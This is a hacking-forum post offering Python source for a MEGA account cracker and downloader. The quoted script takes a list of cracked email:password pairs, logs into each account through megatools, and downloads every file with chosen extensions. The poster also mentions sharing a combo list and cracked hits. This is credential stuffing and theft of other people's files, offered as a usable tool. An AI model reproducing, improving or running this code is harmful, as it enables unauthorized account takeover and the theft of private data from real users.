Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Python 

MEGA cracker tool I made ~2 years ago

I've seen MEGA cracking software in the Marketplace lately, so I thought I'd release this old source in case anyone wants to make something more of it. It's just a hacked up version of the MEGA API. I kept what was needed to crack accounts. The downloader part of it is awful and I don't recommend anyone use it as-is. I was a much crappier programmer then, so the downloading breaks and isn't portable.

The reason it takes so long to crack accounts is because it has to take your combo's passwords and encrypt them using MEGA's horrible password encryption scheme. In order to make this faster, you have to use Runnable or something similar in Python to make it multi-threaded.

Just thought this might be a fun project for someone. Thanks.

[quote]
These two programs allow you to "crack" Mega.co.nz accounts and automatically download all files in these cracked accounts that have the extensions you desire.

This is for Windows only at the moment, but I'll probably make it work with *nix over the weekend. It's just a matter of changing the paths and the executable commands.

The megatools executables are all clean as far as I know. If you don't trust me, you can download them here http://megatools.megous.com/. Just replace the metatools folder with the one you download and you should be good to go as long as it's named the same.

Usage instructions for the cracker can be found in my cracker thread found here https://hackforums.net/showthread.php?tid=4917404

So, the downloader is the newer part of this. It can be found here https://mega.nz/#!W8MBjbKA!WTCKbt4xxMvOD...nVoQD9jw2o

If you can run the cracker, you can run the downloader, so make sure you can run the cracker first.

Code
Code:
Usage Instructions:
1) Make sure that hits.txt has valid accounts in it
2) Modify extensions.txt so that it has the files you're interested in
3) Run downloader.py

I included a public combo.txt and a hits.txt file that I cracked myself so that you all can test out the downloader/cracker functionality quickly.

Code
__author__ = 'pelayo'

import os

o = open('hits.txt', 'r')
ext = open('extensions.txt', 'r')

for line in o:
    try:
      #Removes end-line character from the end of each line
      stripped_line = line.replace('\n', '')

      #Splits combo and stores each part in a variable
      email_split, pass_split = stripped_line.split(":")

      #Creates directories for each username in hits.txt
      os.system('mkdir ' + email_split)

      #This will run megals.exe and create a text file in the proper directory with a directory listing of the account's files
      os.system('.\megatools-1.9.95-win32\megals.exe -u ' + email_split + ' -p ' + pass_split + ' > ' + '.\\' + email_split + '\\ls.txt')

      #Opens up the newly created directory listing file ls.txt
      ls = open('.\\' + email_split + '\ls.txt')

      for line in ls:
      stripped = line.replace('\n', '')
      for line in ext:
            strippedExt = line.replace('\n', '')
            if (stripped[stripped.__len__() - 3:stripped.__len__()] == strippedExt):
            download = '"' + '.\megatools-1.9.95-win32\megaget.exe -u ' + email_split + ' -p ' + pass_split + ' --path=.\\' + email_split + '\\ ' + '"'+ stripped+ '"' + '"'
            os.system(download)
            print download

      ext.seek(0)

    except (TypeError, IOError, IndexError) as e:
      print 'Something has gone horribly wrong :('


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Python] by JaINTPOct 31, 2015 01:05 PM 5 475 Oct 31, 2015 01:05 PM
Last Post: ๖ۣۜAnubis
[Python] by pelayoSep 17, 2015 04:22 AM 3 676 Sep 17, 2015 04:22 AM
Last Post: pelayo
[Python] by Ahmed X BladeJun 6, 2015 01:08 PM 8 424 Jun 6, 2015 01:08 PM
Last Post: The_R